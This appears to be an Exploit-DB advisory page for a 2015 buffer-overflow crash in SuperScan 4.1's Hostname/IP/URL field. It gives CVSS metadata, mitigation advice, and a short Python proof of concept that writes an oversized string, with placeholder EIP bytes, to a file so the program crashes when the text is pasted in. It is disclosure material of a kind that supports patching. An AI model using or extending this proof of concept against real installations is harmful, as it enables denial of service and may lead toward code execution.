SuperScan 4.1 Tools Hostname/IP/URL Field Buffer Overflow Crash PoC

vendor:

SuperScan

by:

Luis Martínez

7,5

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: SuperScan

Affected Version From: 4.1

Affected Version To: 4.1

Patch Exists: YES

Related CWE: N/A

CPE: a:mcafee:superscan:4.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP3 x86 es

2015

SuperScan 4.1 Tools Hostname/IP/URL Field Buffer Overflow Crash PoC

SuperScan 4.1 is vulnerable to a buffer overflow when a maliciously crafted Hostname/IP/URL is sent to the application. This can cause a denial of service condition when the application crashes.

Mitigation:

Upgrade to the latest version of SuperScan 4.1 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SuperScan 4.1 Tools Hostname/IP/URL Field Buffer Overflow Crash PoC
# Discovery by      : Luis Martínez
# Email		    : l4m5@hotmail.com
# Discovery Date    : 18/11/2015
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx
# Tested Version    : 4.1
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP3 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python super_scan_4.1_tools.py
# 2.- Open super_scan_4.1_tools.txt and copy content to clipboard
# 3.- Open SuperScan4.1.exe
# 4.- Paste Clipboard Tools > Hostname/IP/URL
# 5.- Clic on button -> Whois
# 6.- Crashed

buffer = "\x41" * 280
eip = "\x42" * 4

f = open ("super_scan_4.1_tools.txt", "w")
f.write(buffer + eip)
f.close()